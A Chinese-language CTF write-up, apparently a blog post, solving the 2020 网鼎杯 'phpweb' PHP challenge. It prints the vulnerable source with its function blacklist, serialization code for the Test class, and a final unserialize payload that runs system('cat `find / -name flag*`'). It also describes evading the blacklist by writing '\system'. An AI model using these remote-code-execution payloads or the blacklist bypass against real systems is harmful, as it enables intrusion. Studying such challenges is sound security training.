[网鼎杯 2020 朱雀组]phpweb1

进入环境后就是一串报错和一张图片,主要是这个网页一直莫名抽搐

看源码得知是一个post请求方法,还有传入了两个参数,那就抓包看看

 抓包后参数没有变化,还是这个

发送到重发器后,我才得知这个报错信息,原来就是,data函数的报错信息,那我们就可以猜测这个两个参数之间的关系,是函数和函数的参数

 我们可以利用var_dump函数测试一下

发现确实存在命令执行的页面回显,那我们是不是直接可以

本来想直接利用scandir查看当前目录下的所有文件的,但是用法出了点问题

查看了wp,得知可以用 file_get_contents, highlight_file() ,show source()等函数读取路径下文件的内容

在这里我们只得知有一个index.php,所以我们可以查看一下index.php

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

代码审计

这段代码的功能是接收用户输入的函数名和参数,然后调用指定的函数并返回结果。

1. 首先定义了一个数组`$disable_fun`,其中包含了贼多被禁用的函数名

2. 然后定义了一个名为`gettime()`的函数,接收两个参数:函数名和参数。该函数通过`call_user_func()`调用指定的函数,然后通过`gettype()`函数判断`$result`的类型,如果是字符串,就返回结果。如果是其他类型,则返回空字符串。

3. 接下来定义了一个名为Test的类,有两个成员变量`$p`和`$func`,分别存储日期格式和函数名。在类的析构函数`__destruct()`中,如果`$func`不为空,则调用`gettime()`方法并返回结果。

4. 接着从`$_REQUEST`数组中获取用户输入的函数名和参数,并进行一些处理。

首先将函数名转换为小写,然后检查函数名是否在禁用的函数列表中。如果函数名不在禁用列表中,则调用`gettime()`函数并返回结果。

如果函数名在禁用列表中,则输出"Hacker..."并终止程序。、

所以如果我们进行传参,那传入的值会直接经过以上代码进行调用geetime函数,里的call_user_func 函数对输入的命令进行执行,并且会检查是否存在于黑名单,明显system是被过滤掉了的

但是在这个类中,就不存在对传入的数据进行黑名单检测,并且也会调用命令执行的函数,所以我们可以直接利用这个类进行反序列化,实现代码执行

 序列化代码如下:

class Test {
    var $p = "ls /";
    var $func = "system";

}
$a = serialize(new Test);
echo $a

成功实现命令执行,但是没有看到flag相关的文件,可以使用一下find看行不行

可以执行,直接扫出来一大坨 

这玩意要看到啥时候,我们可以采取反引号将find出来的结果赋值给cat继续执行,原本根据大佬wp应该是直接cat就行,但是我出不来,这样也不错

这就可以得到flag了

最终payoad
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:24:"cat `find / -name flag*`";s:4:"func";s:6:"system";}

 

call_user_func

`call_user_func()`函数可以用于调用各种类型的回调函数,包括普通函数、类方法或静态方法、对象的可调用方法以及匿名函数等。

解法二

这个特别牛,system不是被过滤了吗,但是我们可以直接将system改为\system

就匹配不到了,但是可以直接执行命令,可惜没 想到这一步

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值